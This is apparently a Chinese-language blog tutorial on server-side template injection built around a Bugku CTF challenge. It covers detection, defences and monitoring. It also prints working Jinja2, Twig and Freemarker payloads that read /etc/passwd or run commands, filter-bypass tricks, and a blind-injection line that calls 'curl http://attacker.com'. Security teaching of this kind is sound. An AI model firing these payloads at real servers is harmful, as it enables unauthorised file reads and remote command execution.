1. SSTI漏洞攻防基础解析
在网络安全领域,模板注入漏洞(Server-Side Template Injection)一直是Web安全测试中的高危风险点。最近在Bugku CTF平台上遇到的一道SSTI入门题,让我想起刚接触这个漏洞类型时的探索历程。这道编号为0的题目看似简单,却完整呈现了SSTI漏洞的经典攻击链。
模板引擎本是为提高开发效率而设计的组件,但当用户输入直接拼接到模板中时,就会形成注入点。以Python的Jinja2为例,当服务端代码类似这样:
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/vuln') def vuln(): name = request.args.get('name') template = f"<h1>Hello {name}!</h1>" return render_template_string(template)攻击者通过构造特殊输入{{7*7}},若页面返回"Hello 49!",就确认存在SSTI漏洞。这道CTF题正是利用这个原理设计的入口关卡。
2. 漏洞检测与利用全流程
2.1 注入点识别技巧
在真实测试环境中,我通常会采用渐进式检测法:
- 数字运算测试:输入
${7*7}、{{7*7}}、<%= 7*7 %>等不同语法 - 报错信息分析:故意输入错误语法如
{{观察是否返回模板错误 - 环境探测:通过
{{config}}、{{self}}等对象查看可用变量
重要提示:测试时务必使用临时虚拟机环境,避免意外执行危险命令影响生产系统
2.2 常用Payload构造方法
根据不同的模板引擎,攻击Payload需要针对性构造。这道题使用的是Flask框架,对应的Jinja2引擎常用攻击方式:
# 读取系统文件 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} # 获取命令执行 {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}在实际渗透测试中,我通常会准备这样的测试字典:
payloads = { 'Jinja2': ["{{''.__class__}}", "{{config.items()}}"], 'Twig': ["{{_self.env.registerUndefinedFilterCallback('exec')}}"], 'Freemarker': ["<#assign ex='freemarker.template.utility.Execute'?new()>"] }3. 防御方案与实战建议
3.1 输入过滤的陷阱
很多开发者会尝试用黑名单过滤{、}等字符,但这种方法存在明显缺陷:
- 转义绕过:
\x7b\x7d等编码形式 - 属性访问:
request['args']替代request.args - 字符串拼接:
'{'+'{'}}
更可靠的方案是严格区分数据与代码:
# 安全写法 template = "<h1>Hello {{ name }}!</h1>" render_template_string(template, name=request.args.get('name'))3.2 沙箱环境实践
对于必须动态渲染的场景,可以采用:
- 模板沙箱:使用Jinja2的SandboxedEnvironment
- 函数白名单:限制可调用方法
- 资源限制:通过ulimit控制子进程
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() template = env.from_string(user_input)4. CTF解题进阶技巧
4.1 对象链挖掘方法
当遇到过滤时,可以通过以下方式寻找可用对象:
- 查看所有子类:
{{ ''.__class__.__mro__[1].__subclasses__() }} - 过滤危险函数:
|attr('__init__')|attr('__globals__') - 字符串拼接:
{{ (request.args.a~request.args.b) }}
4.2 无回显利用技巧
在Blind SSTI场景下,可以采用:
- DNS外带:
{{ ''.__class__.__mro__[1].__subclasses__()[213]('curl http://attacker.com',shell=True) }} - 延时判断:
{{ '' if os.system('sleep 5') else '' }} - 错误触发:通过故意引发错误带出信息
5. 企业级防护体系建设
在甲方安全工作中,我们建立了多层防御:
- 开发阶段:SAST工具集成模板安全检测
- 测试阶段:IAST动态验证渲染上下文
- 运行阶段:RASP拦截危险模板操作
监控指标示例:
| 检测点 | 阈值 | 响应措施 |
|---|---|---|
| 模板渲染时间 | >500ms | 中断并告警 |
| 反射型模板语法 | 出现1次 | 记录并阻断请求 |
| 敏感函数调用 | 出现任何 | 立即终止进程 |
这套防护机制在去年拦截了37次针对CMS系统的SSTI攻击尝试,其中15次是自动化工具发起的探测。